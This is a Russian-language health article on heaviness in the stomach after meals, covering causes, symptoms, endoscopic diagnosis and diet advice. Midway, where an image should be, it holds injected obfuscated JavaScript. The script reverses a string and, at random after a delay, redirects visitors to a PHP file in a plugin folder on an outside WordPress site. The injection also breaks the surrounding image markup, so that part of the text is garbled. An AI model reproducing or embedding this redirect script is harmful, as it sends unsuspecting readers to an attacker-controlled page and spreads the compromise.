Тяжесть в желудке после еды

Каждый человек не раз в жизни сталкивался с проблемами пищеварения. Современный ритм жизни, быстрые перекусы в фаст-фудах, частые волнения и стрессы не могут не сказаться на здоровье. Наиболее частым недомоганием многих россиян является появление тяжести в желудке после еды. Данный симптом может свидетельствовать о наличии какого-либо заболевания либо быть последствием неправильного питания.

Причины тяжести в желудке после еды

Итак, к основным причинам относятся:

  • Курение, частое употребление алкоголя;
  • Быстрые перекусы на ходу;
  • Переедание;
  • Несовместимость продуктов питания, преобладание в ежедневном рационе жирной, острой, жареной пищи;
  • Употребление большого количества ненатуральных газированных напитков;
  • Переживания, волнения, стрессы;
  • Наличие хронических заболеваний органов пищеварения;

Большинство беременных женщин жалуется на возникновение чувства тяжести в эпигастральная области (эпигастрии) после употребления пищи. Подобное явление не считается нормальным, хотя в большинстве случаев не представляет никакой угрозы для здоровья будущей матери и ребенка. Возможно, что для избавления от дискомфорта ожидающей ребенка женщине следует изменить свой рацион питания. Сегодня на прилавках книжных магазинов можно найти множество литературы на тему правильного питания во время беременности. Прочтение подобных книг поможет научиться готовить разнообразные и полезные блюда и избавиться от неприятного недуга.

Часто возникающее ощущение, как будто в желудке ком стоит, может свидетельствовать о прогрессировании гастрита или холецистита. В подобных случаях она, как правило, сопровождается вздутием, частой тошнотой, изжогой, расстройством стула и т.п. Еще одной причиной возникновения ощущения переполненного желудка может быть нарушение пищеварения или диспепсия. К основным симптомам диспепсии также относятся: снижение аппетита, частые приступы тошноты, рези в нижней части живота, чрезмерное газообразование.

Сопутствующие симптомы: отрыжка, тошнота, рвота и прочие

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/04/otryzhka-u-zhenshchiny.jpg» alt=»Отрыжка у женщины» width=»723″ height=»474″ /> Частая отрыжка воздухом или с неприятным запахом? Обратитесь к гастроэнтерологу

Прежде, чем ставить себе диагноз, следует обратить внимание на время появления ощущений и их продолжительность. Если подобный неприятный симптом возникает сразу после употребления пищи, следует обратить внимание на рацион питания. Из него рекомендуется убрать все жирное и жареное. Употребление калорийной, жирной пищи пищи создает дополнительную нагрузку на работу этого органа, поэтому не удивительно, что ответной реакцией организма может стать появление чувства тяжести, тошноты и изжоги. Утренние проявления, скорее всего, являются свидетельством позднего ужина. Ночью, во время сна все процессы жизнедеятельности организма замедляются. Если организм не успел переварить съеденную перед отходом ко сну пищу, утром он напомнит о себе тяжестью и болью, причем весьма сильной.

Явление, сопровождающееся отрыжкой с запахом съеденной накануне пищи или воздухом, тошнотой, рвотой, повторяющаяся несколько раз в неделю является признаком серьезным проблем желудочно-кишечного тракта, сопровождающихся не усвоением пищи. Наиболее часто проблема беспокоит людей, перенесших какое-либо хирургическое вмешательство на органы пищеварения.

Возникающее в течение дня ощущение может быть свидетельством употребления в пищу несвежего продукта питания. Подобное чувство, как правило, исчезает после полного переваривания его желудком. Если, конечно, продукт не настолько не свеж, что может вызвать отравление.

Почему в животе чувство переполненности: видео

Диагностика неприятных ощущений в животе

Если чувство тяжести и дискомфорта в желудке не покидает человека на протяжении трех-четырех дней подряд, следует говорить о наличии заболевания. В подобном случае рекомендуется обратиться в клинику и пройти процедуру под названием фиброгастроскопия (ФГДС). Как известно, медицина еще не изобрела приятного и безболезненного способа обследования. Процедура ФГДС — более неприятна, чем болезненна, однако она является незаменимым помощником в выявлении большинства заболеваний органов пищеварения.

ФГДС представляет собой процедуру внутреннего осмотра желудка, пищевода и двенадцатиперстной кишки при помощи специальной гибкой трубки с волоконной оптикой на конце. Трубка опускается в желудок через ротовую полость, пациенту при этом может быть введен местный наркоз. Сама процедура может занимать от 10 до 30 минут в зависимости от степени и развития обнаруженного заболевания.

Лечение

В случае установления заболевания в качестве основной причины возникновения тяжести в желудке назначается лечение этого самого недуга. Гастрит чаще всего лечится при помощи соблюдения специальной диеты и таблеток-антибиотиков. Для лечения холецистита обычно назначаются спазмолитические и обезболивающие препараты.

Если же специалист не выявил в процессе такого обследования никакой патологии желудочно-кишечного тракта, следует подумать о самостоятельном немедикаментозном избавлении от дискомфорта:

  1. Следует взять за правило питание небольшими порциями (4–5 раз в день);
  2. Во время еды тщательно пережевывать пищу, в измельченном состоянии она переваривается гораздо быстрее;
  3. Перестать употреблять алкоголь даже в небольших количествах и постараться бросить курить;
  4. Употреблять пищу максимум за 2 часа до отхода ко сну;
  5. Сбросить лишние килограммы;
  6. Устраивать раз в неделю «разгрузочный день» (питаться либо только фруктами и овощами, либо кисломолочными продуктами);
  7. Правильно сочетать совместно употребляемые продукты;
  8. Есть поменьше жареного, приправлять пищу натуральными приправами без добавления усилителей вкуса;
  9. Начать заниматься спортом, хотя бы делать зарядку по утрам.

Избавиться от уже появившейся тяжести в желудке можно при помощи легкого массажа живота, теплой грелки, выпитого стакана нежирного кефира. Если подобные методы бессильны, следует принять таблетку мезима, гастала, панзинорма, фестала и т.п. Однако частое употребление данных препаратов нежелательно, поскольку они вызывают привыкание желудка не вырабатывать свои собственные ферменты, а получать их извне. Подобное привыкание незамедлительно скажется на работе желудка и самочувствии в целом.

Материал актуализирован 11.07.2017

Adblock
detector